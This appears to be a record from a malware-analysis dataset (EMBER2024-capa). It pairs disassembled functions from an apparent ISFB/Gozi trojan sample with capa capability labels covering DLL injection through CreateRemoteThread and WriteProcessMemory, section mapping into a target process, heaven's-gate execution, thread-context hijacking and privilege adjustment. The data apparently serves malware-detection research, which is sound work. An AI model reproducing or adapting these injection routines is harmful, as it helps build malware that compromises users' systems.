joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403995
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor eax, eax
push 0x100000
push 0x40
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], eax
call edi
push dword [esp + 0x28]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessId]
mov esi, eax
call ebx
push eax
push dword [esp + 0x2c]
call ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push eax
push str.ActiveDll:_Wow64PatchProcessMemory64Alt:_CheckPoint_1__hProcess_x__d
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0x10
push esi
call ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
lea eax, [esp + 0x18]
push eax
push 0x40
push dword [esp + 0x38]
push dword [esp + 0x38]
push dword [esp + 0x38]
call fcn.00404fe2
add esp, 0x14
test eax, eax
push 0x100000
push 0x40
je 0x403aff
call edi
push str.ActiveDll:_Wow64PatchProcessMemory64Alt:_CheckPoint_VirtualProtectEx64_Write_
push eax
mov dword [esp + 0x24], eax
call ebx
pop ecx
pop ecx
push dword [esp + 0x1c]
call ebp
push dword [esp + 0x1c]
call esi
push dword [esp + 0x34]
lea esi, [esp + 0x18]
push dword [esp + 0x34]
push dword [esp + 0x34]
push dword [esp + 0x34]
call fcn.00405087
add esp, 0x10
test eax, eax
je 0x403a8f
mov esi, 0x100000
push esi
push 0x40
call edi
push dword [esp + 0x14]
mov dword [esp + 0x38], eax
push str.ActiveDll:_Wow64PatchProcessMemory64Alt:_CheckPoint_WriteProcessMemory64__bWritten_d
push eax
call ebx
add esp, 0xc
push dword [esp + 0x34]
call ebp
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esp + 0x20], 1
jmp 0x403ab8
push 0x100000
push 0x40
call edi
push dword [esp + 0x14]
mov esi, eax
push str.ActiveDll:_Wow64PatchProcessMemory64Alt:_CheckPoint__WriteProcessMemory64__bWritten_d
push esi
call ebx
add esp, 0xc
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, 0x100000
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x1c]
push dword [esp + 0x38]
push dword [esp + 0x38]
push dword [esp + 0x38]
call fcn.00404fe2
add esp, 0x14
test eax, eax
push esi
push 0x40
je 0x403ae5
call edi
push str.ActiveDll:_Wow64PatchProcessMemory64Alt:_CheckPoint_VirtualProtectEx64_Restore_
jmp 0x403aec
call edi
push str.ActiveDll:_Wow64PatchProcessMemory64Alt:_CheckPoint__VirtualProtectEx64_Restore_
mov esi, eax
push esi
call ebx
pop ecx
pop ecx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x403b13
call edi
mov edi, eax
push str.ActiveDll:_Wow64PatchProcessMemory64Alt:_CheckPoint__VirtualProtectEx64_Write_
push edi
call ebx
pop ecx
pop ecx
push edi
call ebp
push edi
call esi
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 0x10
Function at 0x403c4c
Capabilities:
Print debug messages
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4f8
or dword [esp + 4], 0xffffffff
push ebx
push edi
xor edi, edi
push 0x4c8
lea eax, [esp + 0x3c]
push edi
push eax
mov dword [esp + 0x34], 0xccccfeeb
mov dword [esp + 0x3c], edi
mov dword [esp + 0x40], edi
call sub.ntdll.dll_memset
add esp, 0xc
call fcn.00405d21
mov dword [esp + 0x24], eax
lea eax, [esp + 0x18]
push eax
push dword [esi]
mov dword [esp + 0x68], 0x100003
call fcn.00403b21
test eax, eax
jl 0x403e21
mov eax, dword [esp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1c]
push 4
mov dword [esp + 0x18], eax
mov eax, dword [esi]
lea ecx, [esp + 0x30]
push ecx
push eax
lea eax, [esp + 0x1c]
call fcn.0040594d
cmp eax, edi
je 0x403e21
cmp eax, 4
jne 0x403e21
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x100000
push 0x40
call edi
push dword [ebp + 8]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push str.ActiveDll:_Wow64ProcessInjectDll64:_CheckPoint_3__s
push eax
mov dword [esp + 0x1c], eax
call ebx
add esp, 0xc
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esi]
call fcn.00403995
test eax, eax
je 0x403e21
mov dword [esp + 0x10], 0x1770
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
sub dword [esp + 0x10], 0x12c
push 0x100000
push 0x40
call edi
push dword [esp + 0x24]
mov dword [esp + 0x10], eax
push str.Wow64ProcessInjectDll64:_Wow64CallPointers_x
push eax
call ebx
add esp, 0xc
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [esp + 0x30]
push eax
push dword [esi + 4]
call fcn.0040512d
test eax, eax
pop ecx
pop ecx
push 0x100000
push 0x40
je 0x403db4
call edi
push str.Wow64ProcessInjectDll64:_GetThreadContext64
jmp 0x403dbb
call edi
push str.Wow64ProcessInjectDll64:__GetThreadContext64
push eax
mov dword [esp + 0x14], eax
call ebx
pop ecx
pop ecx
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [esp + 0x10], 0
jle 0x403e01
mov eax, dword [esp + 0x128]
cmp eax, dword [esp + 0x18]
jne 0x403d3c
mov eax, dword [esp + 0x12c]
cmp eax, dword [esp + 0x1c]
jne 0x403d3c
push 0
push esi
call fcn.004036f4
mov dword [esp + 0xc], eax
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esi]
call fcn.00403995
mov eax, dword [esp + 0xc]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404177
Capabilities:
Create thread
Print debug messages

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
push eax
push 0
push 0x43a
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x100000
push 0x40
mov dword [esp + 0x20], eax
call esi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov ebp, eax
push str.ISFB:_ProcessInjectDllWithThread_starting
push ebp
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop ecx
pop ecx
push ebp
call ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LocalFree]
call ebp
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4042cd
push 0
call fcn.004057f9
test byte [0x40c88c], 1
je 0x404204
test eax, eax
jne 0x404204
push 0x100000
push 0x40
mov dword [esp + 0x18], 1
call esi
push 1
push str.ISFB:_ProcessInjectDllWithThread_error__PsSupIsWow64Process__Status_x
jmp 0x4042ab
push 0x40d342
push 0x40d181
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call fcn.0040589d
xor ecx, ecx
cmp eax, ecx
mov dword [esp + 0x14], eax
je 0x404290
lea edx, [esp + 0x24]
push edx
push 4
push ecx
push eax
push ecx
push ecx
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
mov dword [esp + 0x1c], eax
je 0x404272
push dword [esp + 0x14]
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00403e2d
push dword [esp + 0x1c]
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x100000
push 0x40
call esi
push dword [esp + 0x10]
push str.ISFB:_ProcessInjectDllWithThread:_ProcessInjectDll_done__Status_x
jmp 0x4042ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x100000
push 0x40
mov dword [esp + 0x18], eax
call esi
push dword [esp + 0x10]
push str.ISFB:_ProcessInjectDllWithThread:_CreateRemoteThread_fail__Status_x
jmp 0x4042ab
push 0x100000
push 0x40
mov dword [esp + 0x18], 0x490
call esi
push 0x490
push str.ISFB:_ProcessInjectDllWithThread_error__pExitThread__Status_x
push eax
mov dword [esp + 0x20], eax
call edi
add esp, 0xc
push dword [esp + 0x14]
call ebx
push dword [esp + 0x14]
call ebp
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4042ff
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x100000
push 0x40
mov dword [esp + 0x18], eax
call esi
push dword [esp + 0x10]
mov dword [esp + 0x18], eax
push str.ISFB:_ProcessInjectDllWithThread_error_Pi.hProcess0__Status_x
push eax
call edi
add esp, 0xc
push dword [esp + 0x14]
call ebx
push dword [esp + 0x14]
call ebp
push 0x100000
push 0x40
call esi
push dword [esp + 0x10]
mov esi, eax
push str.ISFB:_ProcessInjectDllWithThread_done__Status_x
push esi
call edi
add esp, 0xc
push esi
call ebx
push esi
call ebp
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x40432b
Capabilities:
Accept command line arguments
Print debug messages

Disassembly:
push esi
push edi
xor edi, edi
cmp dword [esp + 0xc], edi
jne 0x40438a
push edi
push 0x40c89c
push dword [0x40c894]
call fcn.00406431
mov edi, eax
test edi, edi
jne 0x40439d
call fcn.00405714
mov esi, eax
test esi, esi
je 0x40439d
push 0x40c828
push 0x40c818
push dword [0x40c89c]
call fcn.00406d6b
mov edi, eax
test edi, edi
jne 0x404382
push 0x40c82c
push 0x40c820
push esi
call fcn.00406d6b
push esi
call fcn.004013c0
jmp 0x40439d
push 0x18
push dword [esp + 0x10]
push 0x40c818
call sub.ntdll.dll_memcpy
add esp, 0xc
and dword [0x40c768], 0
and dword [0x40c76c], 0
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
push dword [0x40c884]
push str.ISFB__04x:_Active_DLL_g_CmdLineModifyCallbackW_hooks__ls_n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
ret 4

Function at 0x40460f
Capabilities:
Allocate or change rwx memory
Map section object
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
push 0x40
xor esi, esi
push esi
push 2
xor eax, eax
mov dword [ebp - 0xc], esi
lea edi, [ebp - 8]
stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
cmp eax, esi
push 0x100000
mov dword [ebp + 0x10], eax
push 0x40
jl 0x40467d
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebx]
mov edi, eax
push esi
push dword [0x40c884]
push str.ACTIVDLL__04x:_A_section_of__u_bytes_mapped_to_the_target_process_at_0x_p_n
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
jmp 0x4046a5
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp + 0x10]
mov esi, eax
push dword [0x40c884]
push str.ACTIVDLL__04x:_Failed_mapping_a_section_to_the_target_process__status_0x_x_n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp + 0x10]
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4046bb
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x30]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov ebx, dword [ebp + 8]
stosd dword es:[edi], eax
push 0x40
xor eax, eax
xor esi, esi
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
pop edi
push esi
push 0x8000000
push edi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x34]
push eax
push 0xf001f
lea eax, [ebp + 8]
push eax
mov dword [ebp + 8], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x34], 0x18
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.ntdll.dll_NtCreateSection]
cmp eax, esi
mov dword [ebp - 0x10], eax
jl 0x40475a
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040460f
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x404799
push dword [ebp - 0x1c]
push esi
push dword [ebp - 8]
call sub.ntdll.dll_memset
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp + 0x10]
add esp, 0xc
cmp eax, esi
je 0x404799
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
jmp 0x404799
push eax
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
push 0x100000
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 0x10]
mov edi, eax
push ebx
push dword [0x40c884]
push str.ACTIVDLL__04x:_Failed_creating_an_image_section_of__u_bytes__status_0x_x_n
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp + 8], esi
je 0x4047ac
cmp dword [ebp + 0x10], esi
jne 0x4047ac
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_ZwClose]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x404955
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
xor ecx, ecx
cmp dword [0x40c774], ecx
push edi
jne 0x40496f
xor eax, eax
xor edx, edx
jmp 0x404aa0
cmp dword [ebp + 0x10], ecx
lea eax, [ebp + 0x14]
jle 0x40498b
mov edx, dword [ebp + 0x14]
dec dword [ebp + 0x10]
mov dword [ebp - 0x30], edx
mov edx, dword [ebp + 0x18]
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x2c], edx
jmp 0x404991
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
cmp dword [ebp + 0x10], ecx
jle 0x4049a9
dec dword [ebp + 0x10]
mov edx, dword [eax]
add eax, 8
mov dword [ebp - 0x28], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x24], edx
jmp 0x4049af
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp + 0x10], ecx
jle 0x4049c7
dec dword [ebp + 0x10]
mov edx, dword [eax]
add eax, 8
mov dword [ebp - 0x20], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x1c], edx
jmp 0x4049cd
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
cmp dword [ebp + 0x10], ecx
jle 0x4049e5
dec dword [ebp + 0x10]
mov edx, dword [eax]
add eax, 8
mov dword [ebp - 0x18], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x14], edx
jmp 0x4049eb
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
cdq
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x34], edx
cdq
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ecx
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 8], esp
and esp, 0xfffffff0
push 0x33
call fcn.00404a21
pop edi
leave
ret

Function at 0x404aa3
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
push esi
push edi
je 0x404b0f
mov ecx, dword [ebp + 0xc]
test ecx, ecx
mov eax, dword [ebp + 0x10]
jne 0x404abc
test eax, eax
je 0x404b0f
cmp dword [ebp + 0x14], 0
je 0x404b0f
mov dword [ebp + 0xc], ecx
mov dword [ebp + 0x10], eax
push 0x33
call fcn.00404acf
pop edi
pop esi
pop ebp
ret 0x10

Function at 0x404b15
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, str.LdrGetProcedureAddress
xor ecx, ecx
cmp ecx, eax
push esi
push edi
mov dword [ebp - 4], 0x17
mov dword [ebp - 8], eax
je 0x404ba0
mov ecx, dword [ebp + 8]
test ecx, ecx
mov eax, dword [ebp + 0xc]
jne 0x404b40
test eax, eax
je 0x404ba0
mov byte [ebp + 0xf], 0
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call fcn.00404b51
xor al, al
pop edi
pop esi
leave
ret 8

Function at 0x404ba8
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5bc
push ebx
xor edx, edx
cmp dword [0x40c774], edx
push esi
push edi
je 0x404d17
mov dword [ebp - 8], edx
mov dword [ebp - 4], edx
push 0x33
call fcn.00404bcf
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4052ed
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
mov esi, eax
lea eax, [ebp - 8]
push eax
push str.SeTakeOwnershipPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x405345
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ISFB:_LookupPrivilegeValue_error:__u_n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x4053ca
mov eax, dword [ebp - 8]
push 0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
push 0
push 0x10
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
neg esi
sbb esi, esi
push 0
push dword [ebp + 8]
and esi, 2
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x405398
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ISFB:_AdjustTokenPrivileges_error:__u_n
jmp 0x405326
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x4053c7
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push str.ISFB:_The_token_does_not_have_the_specified_privilege.__n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
pop ecx
jmp 0x405330
xor eax, eax
inc eax
pop esi
leave
ret 4
Function at 0x405714
Capabilities:
Print debug messages

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [0x40c89c]
push edi
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x100000
push 0x40
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
mov ebp, eax
push str.ActiveDll:_CheckPoint_ProcessInjectDll_Checkpoint_1.1__s
push ebp
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebp
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LocalFree]
call ebp
test esi, esi
je 0x4057c8
lea eax, [ebx + 3]
push eax
call fcn.004013ab
mov edi, eax
test edi, edi
je 0x4057c8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x2e
push 0
push esi
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
test eax, eax
mov dword [esp + 0x10], eax
je 0x40578b
mov ebx, eax
sub ebx, esi
mov esi, 0x40d289
push esi
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x4057ac
sub eax, edi
lea ecx, [ebx - 2]
cmp ecx, eax
jne 0x4057ac
mov byte [ebx + edi - 2], 0
jmp 0x4057b6
push esi
add ebx, edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [esp + 0x10], 0
je 0x4057c8
push dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
mov esi, eax
push str.ActiveDll:_CheckPoint_ProcessInjectDll_Checkpoint_1.2__s
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call ebp
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x40589d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov edi, eax
xor esi, esi
push esi
lea eax, [ebp - 4]
push eax
push edi
mov dword [ebp - 8], esi
call fcn.00406431
test eax, eax
jne 0x405944
push esi
push dword [ebp + 8]
call fcn.00407144
cmp eax, esi
je 0x40593c
sub eax, edi
push ebx
push eax
mov eax, edi
call fcn.004071e0
mov ebx, eax
cmp ebx, esi
je 0x40593b
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x40593b
push esi
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, ebx
jne 0x405932
push esi
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405932
cmp dword [ebp - 0xc], 4
jne 0x405932
mov eax, dword [ebp - 0x10]
add eax, edi
mov dword [ebp - 8], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
push dword [ebp - 4]
call fcn.004013c0
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret 4
Function at 0x405d21
Capabilities:
Print debug messages

Disassembly:
mov eax, dword [0x40c870]
push ebx
push esi
xor ebx, ebx
or eax, dword [0x40c874]
push edi
jne 0x405dc2
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40d18b
mov edi, 0x40d181
push edi
call esi
push eax
call fcn.0040625b
mov dword [0x40c870], eax
or eax, edx
mov dword [0x40c874], edx
jne 0x405d8f
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0xffffffffffffffff
push str.PsSupResolveNativePointers:_PsSupGetProcessFunctionAddressArch_szZwGetContextThread__fail__hProcess_x
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x405dc7
push 0x40d13c
push edi
call esi
push eax
call fcn.0040625b
mov dword [0x40c878], eax
or eax, edx
mov dword [0x40c87c], edx
jne 0x405dc2
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0xffffffffffffffff
push str.PsSupResolveNativePointers:_PsSupGetProcessFunctionAddressArch_szZwSetContextThread__fail__hProcess_x
jmp 0x405d73
mov ebx, 0x40c870
pop edi
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x405dcd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Print debug messages

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4e4
push ebx
push esi
push edi
xor edi, edi
push 0x4c8
mov esi, eax
lea eax, [esp + 0x2c]
push edi
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call sub.ntdll.dll_memset
add esp, 0xc
call fcn.00405d21
push 0x100
lea eax, [esi + 0x218]
push 0x407696
push eax
mov dword [esp + 0x5c], 0x100003
call sub.ntdll.dll_memcpy
mov ebx, dword [ebp + 8]
add esp, 0xc
push 0x40
push 0x3000
push 0x318
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp eax, edi
mov dword [esp + 0x14], eax
je 0x405f83
lea eax, [esp + 0x20]
push eax
push dword [ebx + 4]
call fcn.0040512d
test eax, eax
pop ecx
pop ecx
push 0x100000
push 0x40
je 0x405f5a
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
call edi
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push str.PsSupWow64InjectExecuteStub64Alt:_GetThreadContext64
push eax
mov dword [esp + 0x20], eax
call ebx
pop ecx
pop ecx
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [esi + 0x10]
lea eax, [esi + 0x18]
cdq
cmp ecx, eax
jne 0x405eb6
mov eax, dword [esi + 0x14]
cmp eax, edx
jne 0x405eb6
mov eax, dword [esp + 0x14]
xor ecx, ecx
add eax, 0x18
adc ecx, ecx
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], ecx
mov eax, dword [esp + 0x118]
mov dword [esi], eax
mov eax, dword [esp + 0x11c]
mov dword [esi + 4], eax
lea eax, [esp + 0x1c]
push eax
push 0x318
push esi
push dword [esp + 0x20]
mov esi, dword [ebp + 8]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x405f83
mov eax, dword [esp + 0x14]
and dword [esp + 0x9c], 0
mov dword [esp + 0x98], eax
add eax, 0x218
cdq
mov dword [esp + 0x118], eax
lea eax, [esp + 0x20]
push eax
push dword [esi + 4]
mov dword [esp + 0x124], edx
call fcn.004051a7
test eax, eax
pop ecx
pop ecx
push 0x100000
push 0x40
je 0x405f4c
call edi
mov esi, eax
push str.PsSupWow64InjectExecuteStub64Alt:_SetThreadContext64
push esi
call ebx
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x405f89
call edi
mov esi, eax
push str.PsSupWow64InjectExecuteStub64Alt:__SetThreadContext64
push esi
call ebx
jmp 0x405f6e
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push str.PsSupWow64InjectExecuteStub64Alt:__GetThreadContext64
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 5
pop eax
jmp 0x405f89
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4